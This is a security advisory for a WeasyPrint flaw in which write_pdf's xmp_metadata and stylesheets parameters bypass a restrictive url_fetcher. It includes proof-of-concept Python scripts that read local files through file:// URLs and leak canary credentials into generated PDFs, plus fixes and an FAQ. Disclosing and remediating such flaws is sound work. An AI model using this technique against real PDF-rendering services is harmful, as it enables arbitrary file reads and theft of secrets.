GHSA-jf6q-chmf-3h3v: SSRF
Summary
urlfetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two writepdf() channels ignore the document's urlfetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
- xmpmetadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced. - stylesheets=[urlorpath] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive urlfetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.
Affected versions
All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.
Root cause
selectsource() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
python def selectsource(guess=None, filename=None, url=None, ..., urlfetcher=None, ...): ... if urlfetcher is None: urlfetcher = URLFetcher()
Five of the seven resource-loading sites thread the document's fetcher correctly:
- <link rel=stylesheet> in weasyprint/css/init.py - <style> in weasyprint/css/init.py - @import in weasyprint/css/init.py - @font-face / local() in weasyprint/text/fonts.py - @color-profile src in weasyprint/css/init.py - images (<img>, CSS url(), SVG) in weasyprint/images.py
Two do not — they build a fresh default fetcher instead:
- writepdf(xmpmetadata=[...]) in weasyprint/pdf/init.py - writepdf(stylesheets=[str]) in weasyprint/document.py
xmpmetadata - pdf/init.py calls selectsource(url) with no urlfetcher, so the default fetcher runs regardless of what the caller configured:
python if options['xmpmetadata']: for url in options['xmpmetadata']: result = selectsource(url) # no urlfetcher
stylesheets - document.py builds each sheet without passing urlfetcher, and CSS.init then defaults to a fresh URLFetcher():
python for css in options['stylesheets'] or []: if not hasattr(css, 'matcher'): css = CSS( # no urlfetcher=html.urlfetcher guess=css, mediatype=html.mediatype, fontconfig=fontconfig, counterstyle=counterstyle, colorprofiles=colorprofiles)
Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.
Reproduction
Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.
1 - xmpmetadata= reads a file:// the fetcher blocks
python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher
class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)
d = tempfile.mkdtemp() path = os.path.join(d, 'secret.xmp') open(path, 'wb').write(b'CANARYXMPLEAK7f3a9c') pdf = HTML(string='<p>hi</p>', urlfetcher=Block()).writepdf( xmpmetadata=['file://' + path], pdfvariant='pdf/a-3b', uncompressedpdf=True) print('secret file leaked into PDF:', b'CANARYXMPLEAK7f3a9c' in pdf) -> True
(pdfvariant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)
2 - stylesheets= applies a blocked file:// sheet (with control)
python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher
class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)
d = tempfile.mkdtemp() path = os.path.join(d, 'evil.css') open(path, 'w').write('@page { size: 1234px 5678px }')
doc = HTML(string='<p>x</p>', urlfetcher=Block()).render(stylesheets=['file://' + path]) p = doc.pages[0] print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678)) -> True
Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it; WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the gap is specific to stylesheets= and not a misconfigured fetcher. ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path, urlfetcher=Block()).render() cp = ctrl.pages[0] print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678)) -> True
3 - the stylesheets= bypass is transitive
python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher
class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)
d = tempfile.mkdtemp() inner = os.path.join(d, 'inner.css') outer = os.path.join(d, 'outer.css') open(inner, 'w').write('@page { size: 333px 777px }') open(outer, 'w').write('@import url("file://%s");' % inner) doc = HTML(string='<p>x</p>', urlfetcher=Block()).render(stylesheets=['file://' + outer]) p = doc.pages[0] print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777)) -> True
4 - xmpmetadata= discloses a credentials file in full
python import os, json, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher
class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)
creds = {'dbname': 'CANARYDBNAME', 'dbpassword': 'CANARYPASSWORDa3f7e9c2', 'encryptionkey': 'CANARYENCKEYb8d4f6a1', 'secretkey': 'CANARYSECRETKEYc5e9d2b7'} d = tempfile.mkdtemp() path = os.path.join(d, 'siteconfig.json') json.dump(creds, open(path, 'w')) pdf = HTML(string='<p>x</p>', urlfetcher=Block()).writepdf( xmpmetadata=['file://' + path], pdfvariant='pdf/a-3b', uncompressedpdf=True) print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values())) -> True
An attacker who controls the xmpmetadata path reads any file the rendering process can access and receives its contents in the generated PDF.
5 - scope of the stylesheets= channel (honest bound)
The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher
class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)
d = tempfile.mkdtemp() path = os.path.join(d, 'secrets.css') open(path, 'w').write('/ CANARYSECRETe2a8c5d4 /\n@page { size: 999px 888px }') html = HTML(string='<p>x</p>', urlfetcher=Block()) doc = html.render(stylesheets=['file://' + path]) pdf = html.writepdf(stylesheets=['file://' + path], uncompressedpdf=True) p = doc.pages[0] print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True print('comment leaked verbatim:', b'CANARYSECRETe2a8c5d4' in pdf) # -> False
Suggested fix
Route both call sites through the document's urlfetcher, matching the five sites that already do this.
- pdf/init.py - selectsource(url, urlfetcher=self.urlfetcher). (Alternatively, restrict xmpmetadata to byte strings so no URL fetching occurs.) - document.py - CSS(guess=css, ..., urlfetcher=html.urlfetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/weasyprintto a version that resolves this vulnerability.Fixed in 70.0 - Configuration
If you accept untrusted input, do not pass attacker-influenced URLs/paths to WeasyPrint's `xmp_metadata`. Instead, restrict `xmp_metadata` to byte strings (so no URL fetching occurs), preventing the default fetcher from reading `file://` or other blocked locations.
WeasyPrint HTML() / URLFetcher usage xmp_metadata = byte strings (no URL fetching) - Configuration
Route both `write_pdf(stylesheets=[...])` and `write_pdf(xmp_metadata=[...])` through the document's `url_fetcher`, ensuring the same restrictive `url_fetcher` configured on `HTML(..., url_fetcher=...)` is used for these call sites and not bypassed by a default `URLFetcher()`.
WeasyPrint HTML() write_pdf call sites url_fetcher plumbing for stylesheets and xmp_metadata = document.url_fetcher (threaded through both parameters)
Event History
Frequently Asked Questions
Which deployments are realistically exposed?
Deployments are affected when WeasyPrint runs server-side, uses a restrictive url_fetcher to block file:// or internal hosts, and passes an attacker-influenced URL or path to write_pdf() through xmp_metadata or stylesheets. Examples include PDF-rendering APIs, invoice or report generators, and document SaaS.
What attacker-controlled input is required?
An attacker needs influence over a URL or path supplied as xmp_metadata or stylesheets to write_pdf(). No privileges or user interaction are indicated by the supplied severity vector.
Does a restrictive url_fetcher prevent exploitation through these parameters?
No. For these two write_pdf() channels, WeasyPrint creates a fresh default URLFetcher() instead of using the document's restrictive url_fetcher. For stylesheets, that permissive behavior also applies transitively to @import and url() resource references.
How can I determine whether my installed version is affected?
Versions through v69.0, including commit 2945986160dedd97a7547be03805b667964e422a on main, are affected. Review whether your application supplies attacker-influenced values to xmp_metadata or stylesheets while relying on url_fetcher restrictions.
What can be done if updating is not immediately possible?
Do not forward attacker-influenced URLs or paths into xmp_metadata or stylesheets. Restrict those parameters to trusted, controlled values, since the configured url_fetcher is bypassed for them.